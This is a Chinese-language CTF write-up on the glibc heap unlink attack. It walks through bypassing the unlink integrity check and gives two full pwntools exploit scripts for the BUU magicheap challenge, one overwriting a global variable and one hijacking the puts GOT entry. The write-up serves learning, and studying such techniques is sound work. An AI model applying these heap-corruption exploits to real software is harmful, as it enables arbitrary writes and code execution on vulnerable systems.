0x00 原理
unlink,简称脱链,就是直接将链表头处的free堆块unsorted bin中脱离出来,然后和物理地址相邻的新free的堆块合并成大堆块(向前或向后合并),再放入到unsorted bin中。
危害原理:通过伪造的free状态的fake_chunk,伪造fd指针和bk指针,通过绕过unlink的检测来实现unlink,unlink就会往p所在的位置写入p-0x18,从而实现任意地址写的漏洞。
漏洞产生的原因:offbynull、offbyone、堆溢出、修改了堆块的使用标志位
/*malloc.c int_free函数中*/
/*这里p指向当前malloc_chunk结构体*/
if(!prev_inuse(p)){
prevsize = p->prev_size;
size += prevsize;
//修改指向当前chunk的指针,指向前一个chunk
p = chunk_at_offset(p,-((long)prevsize));
unlink(p,bck,fwd);
}
/*unlink操作的实质是:将p所指向的chunk从双向链表中移除,这里BK和FD用作临时变量*/
define unlink(P,BK,FD){
FD = P->fd;
BK = P->bk;
if(__builtin_expect(FD->bk!=P || BK->fd!=P,0))
malloc_printerr(check_action,"corrupted double-linked list",P,AV);
FD->bk = BK;
BK->fd = FD;
...
}
0x01 绕过和利用
1、伪造如下:
chunk = 0x0602280(P是将要合并到的堆地址,P存在于chunk中,相当于*chunk=P)
P_fd = chunk-0x18 = 0x602268
P_bk = chunk-0x10 = 0x602270
2、绕过技巧
define unlink(P,BK,FD){
FD = P->fd; \\FD = 0x602268
BK = P->bk; \\BK = 0x602270
if(__builtin_expect(FD->bk!=P || BK->fd!=P,0))
\\FD->bk = *(0x602268+0x18)|*(0x602280) = P
\\BK->fd = *(0x602270+0x10)|*(0x602280) = P,绕过!
malloc_printerr(check_action,"corrupted double-linked list",P,AV);
FD->bk = BK; \\ *(0x602268+0x18)|*(0x602280) = 0x602270
BK->fd = FD; \\ *(0x602270+0x10)|*(0x602280) = 0x602268
...
}
最终效果就是往chunk里面写入了chunk-0x18的值。
利用方法:首先edit堆的时候,将chunk的值修改为puts函数地址;第二次edit的时候,
由于chunk的值已经修改为puts函数的地址,那么我们再对chunk进行修改就相当于对puts函数
对应的地址进行修改,后面会有例题。
0x02 实战
题目来源:BUU hitcontraining_magicheap
首先放入ida中,进行反编译,得到一个典型的菜单题:
main():
create_heap:
edit_heap():
delete_heap():
l33t():
1、Method 1
由main函数可知,要使程序运行l33t函数,那么我就需要保证输入的值为4869,并且magic的值要大于0x1305,第一种办法就是修改magic的值,我们首先创建三个堆块,然后释放chunk1,同时chunk的堆块大小为0x91(包括prev_size+size),这样它可以加入到unsorted bin中,另外我们再通过edit chunk0来修改chunk1的bk指针为magic-0x10,从而使得我们再次申请chunk的时候,会分配给我们magic的地址,接着对chunk1进行edit即可修改magic的值,脚本如下所示:
from pwn import *
context.log_level = "debug"
p = process("1")
#p = remote("node5.buuoj.cn",29812)
def create_heap(size,content):
p.recvuntil(b"choice :")
p.send(b"1")
p.recvuntil(b"Heap : ")
p.send(str(size))
p.recvuntil(b"heap:")
p.send(content)
def edit_heap(index,size,content):
p.recvuntil(b"choice :")
p.send(b"2")
p.recvuntil(b"Index :")
p.send(str(index))
p.recvuntil(b"Heap : ")
p.send(str(size))
p.recvuntil(b"heap : ")
p.send(content)
def delete_heap(index):
p.recvuntil(b"choice :")
p.send(b"3")
p.recvuntil(b"Index :")
p.send(str(index))
magic_addr = 0x06020a0
create_heap(0x20,"aaaa")
create_heap(0x80,"bbbb")
create_heap(0x20,"cccc")
delete_heap(1)
edit_heap(0,0x40,b"a"*0x20+p64(0)+p64(0x91)+p64(0)+p64(magic_addr-0x10))
create_heap(0x80,"aaaa")
p.recvuntil(b"choice :")
p.sendline(b"4869")
#gdb.attach(p)
#pause()
p.interactive()
在本地打通结果如下:
2、Method 2
第二种方法使用unlink的知识来解决,我们首先通过ida得到heaparray的地址,即存放chunk的首地址,也为chunk0的地址,接下来申请三个堆块,并伪造一个chunk,我们将heaparray_addr-0x18和heaparray_addr-0x10写入fakechunk的fd和bk指针,同时将chunk1的prevsize修改为0x90,size修改为0xa0,表示前面一个堆块的大小为0x90,并且没有被使用,那么我们在delete chunk1的时候,会将fakechunk和chunk1进行合并,然后进行unlink,我接下来通过图片来进行详细说明,注意每次断点截图的地址不一样,但效果是一样的:
在delete chunk1之前,我们的堆块如下所示:
接着查看heaparray的值:
此时,heaparray地址对应的值还没被修改为heaparray-0x18的地址,接着delete之后,得到的chunk分布如下所示:
ok,因为heaparray里面存放的是chunk的地址,那么我们接下来对chunk0进行edit,是不是就相当于对heaparray-0x18这个地址的值进行修改,那么我们是不是就可以覆盖到chunk0的地址,所以第一次进行edit的时候,就是要将chunk0的地址修改为puts函数的地址,payload1= p64(0)*3+p64(puts_got),然后第二次进行edit chunk0的时候,就相当于对puts_got表的地址进行修改,payload2=p64(l33t_addr),截图如下:
puts_got表地址已被修改为l33t函数的地址。
脚本如下所示:
from pwn import *
p = process("./1")
context.log_level = "debug"
elf = ELF("./1")
gdb.attach(p)
def create_heap(size,content):
p.recvuntil(b"choice :")
p.send(b"1")
p.recvuntil(b"Heap : ")
p.send(str(size))
p.recvuntil(b"heap:")
p.send(content)
def edit_heap(index,size,content):
p.recvuntil(b"choice :")
p.send(b"2")
p.recvuntil(b"Index :")
p.send(str(index))
p.recvuntil(b"Heap : ")
p.send(str(size))
p.recvuntil(b"heap : ")
p.send(content)
def delete_heap(index):
p.recvuntil(b"choice :")
p.send(b"3")
p.recvuntil(b"Index :")
p.send(str(index))
l33t_addr = 0x400c50
puts_got = elf.got["puts"]
heaparray_addr = 0x06020C0
create_heap(0x90,"aaaa")
create_heap(0x90,"bbbb")
create_heap(0x20,"cccc")
fakechunk = p64(0)+p64(0x91)+p64(heaparray_addr-0x18)+p64(heaparray_addr-0x10)
fakechunk = fakechunk.ljust(0x90,b"a")
fakechunk += p64(0x90)+p64(0xa0)
edit_heap(0,0xa0,fakechunk)
#pause()
delete_heap(1)
#pause()
edit_heap(0,0x20,p64(0)*3+p64(puts_got))
edit_heap(0,0x8,p64(l33t_addr))
#pause()
#delete_heap(0)
p.interactive()